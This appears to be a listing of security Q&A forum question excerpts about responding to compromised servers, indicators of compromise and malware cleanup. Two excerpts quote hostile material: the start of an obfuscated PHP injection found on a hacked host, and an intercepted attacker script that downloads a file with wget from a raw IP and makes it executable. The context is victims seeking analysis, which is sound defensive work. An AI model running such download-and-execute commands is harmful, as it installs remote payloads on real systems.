Dealing with a system compromise: your defenses failed, now what?

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SOP for the CERT in case of hack activity [closed]

I work at a University in the Information Systems Department and recently one of the web server was hacked. the hacker deleted certain databases and few websites were down. In lieu to such events ...
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exploiting setuid and setgid bit

I was reading material on secure coding and at many places it is mentioned not to use setuid and setgid bits for privilege escalation. These a vulnerable and can lead to security issues. Instead we ...
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how do compilers detect buffer overflow?

I just started researching about security at the systems level and challenges, especially with respect to low level languages such as C/C++ and objective c. I have understood buffer overflow and how ...
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Need help deobfuscating malicious PHP

Recently I had a shared hosting server that was hacked; the following line of code was injected at the top of every PHP file on the server: <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { ...
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Should a server be considered compromised simply because a port was open?

Earlier today I received a notification of a security incident at Mandrill. At first I was concerned, but then after I dove into the details I became confused as to why they considered this noteworthy ...
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Indicator of Compromise Scanners IOC [closed]

I am looking for a scanner that can look for indicator of compromise. Have research some products in the market that could do this, for e.g. Fireeye HX series. However these products seems to be very ...
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Indicators of Compromise

Just to get an understanding of how indicators of compromise works. Take For example, in this article, the SMB tool. There is a MD5 hash for it. So is my firewalls or IDS supposed to be able to detect ...
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Is there a “security fail forum / website” with lessons learned?

I have done some searching, and cannot seem to find this. Does anyone know of a "security fail forum" that lists embarrassing and / or damaging results from lack of security practices? I would like ...
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How do I know my tools aren't compromised? [closed]

After reading different articles, most notably/concerningly: If the NSA has been hacking everything, how has nobody seen them coming? Ken Thompson's Hack (more the concept than specifics) I am ...
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Who is responsible for a compromised computer? [closed]

In light of the recent public hacks on public systems, is there any culpability for the owner of a compromised system? Two examples: The owner is a large public company that leaks sensitive ...
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Passport information compromised [closed]

I still have my passport in hand but my purse was stolen with all my passport information and passwords with security questions and answers in it. Should I get a new passport or since I still have my ...
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Is it possible the person sitting across from me at Starbucks was trying to hack my laptop?

I was using my laptop at a Starbucks on a table, and a person was using a laptop on the same table across from me, a couple seats to my side. He flicked some plastic thing across the table towards my ...
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Best practices for working with a new computer

What steps can I take to detect if a brand new computer has been compromised? Would it take an actor with significant resources to compromise a system and still have it appear to start the standard ...
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Freezing creates unusual pattern in kern.log

My server freezed a few days ago. After restarting I immediately checked the logs and the only trace I saw were some dots in the kern.log. To my surprise, a day or two later these dots disappeared ...
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using multiple Firefox profiles to increase security

I am wondering whether it would increase security in any significant way, if I would use two separate Firefox profiles, one for normal browsing and the other for private/secure websites, such as my ...
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Is possible to be hacked remotely? [closed]

I am a little bit afraid about remote hacking, since I'm using a Windows 7. I see what a hacker can do if he exploits the DCOM vulnerability in Windows XP, but does this sort of exploit exist on ...
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OS (or platform) agnostic metrics to understand if a system is compromised?

For Windows-based systems, I have seen that changes to the Registry or System Directories are some of the things which are used to track if a machine has been compromised. Similar things must exist ...
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How compromised should I assume my computer is?

I had turned ssh on a while ago to do some remote work. I was just looking over some netstat info when I noticed someone had established an ssh session with me D: I turned ssh off immediately and ...
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Hash leaked online

Recently I Googled the email address of one of my friends, as I was just curious of what would come up. Lo and behold, he saw what presumably is his Gmail hash. It is part of a list of 10,170 email ...
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A tiny version of wget (51 bytes?)

On this ISC article on DVR compromise the author talks about the compromise of an embedded system. In particular, the attacker executes a series of echo commands on the remote host, and: This DVR ...
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Digital Ocean “Droplet” allgedly compromised for trivial, unpublicized website. Should I be worried abouty my own machine?

I got a message from D.O. about my Droplet saying they shut it down because there was a lot of outgoing traffic that looked like an attack. The site I had on that server was not very known at all. ...
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Server Infection: post-cleanup best practices

I've read through How do I deal with a compromised server? and have followed the steps to cleaning-up/mitigating any future damage. I'm just wondering if there are any post-clean up steps that are ...
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What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
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Forensic research: What OS to use [closed]

I have been given an assignment from my school, in wich I have been given a Virtual image of a compromised system. The first thing I need to do is setup a environment to wich we can mount the image. I ...
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Is my computer trying to download something malicious from Dropbox?

My wife's computer was recently compromised and I have tried to clean it. I installed Microsoft Network Monitor to see if there was any unexplained internet traffic and I noticed a connection to ...
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For remotely unlocking LUKS volumes via SSH, how can I verify integrity before sending passphrase?

Although this is closely related to the recently closed question Evil maids in the server room [closed], I believe that it's more answerable. I'd like to unlock LUKS volumes on remotely hosted ...
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Have there been any instances of malware in custom ROMs for Android?

Have there been any instances of malware or spyware packaged in custom ROMs, for example a malicious email app pre-installed that records your server IMAP username and password and forwards it to a ...
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Afraid about SSH on my Linux system

I've checked my Linux server (Centos 6) with rkhunter. I found the following in rkhunter log [14:38:54] Checking if SSH protocol v1 is allowed [ Warning ] [14:38:54] Warning: The SSH ...
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Google Calendar has events that I didn't create and it's not shared

This has been rewritten because at first I thought this may be an accident but now it’s clear there’s a security compromise. In my Google Calendar I noticed an event that occurred each day from ...
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What does “Change your password everywhere else” e-mail from compromised service mean?

I've recieved an e-mail from ubuntuforums.org a couple of hours ago: [...] the attacker has gained access to read your username, email address and an encrypted copy of your password from the forum ...
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How do I deal with a compromised server?

I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism: What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", ...
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How do you explain the necessity of “nuke it from orbit” to management and users?

When a machine has been infected with malware, most of us here immediately identify the appropriate action as "nuke it from orbit" - i.e. wipe the system and start over. Unfortunately, this is often ...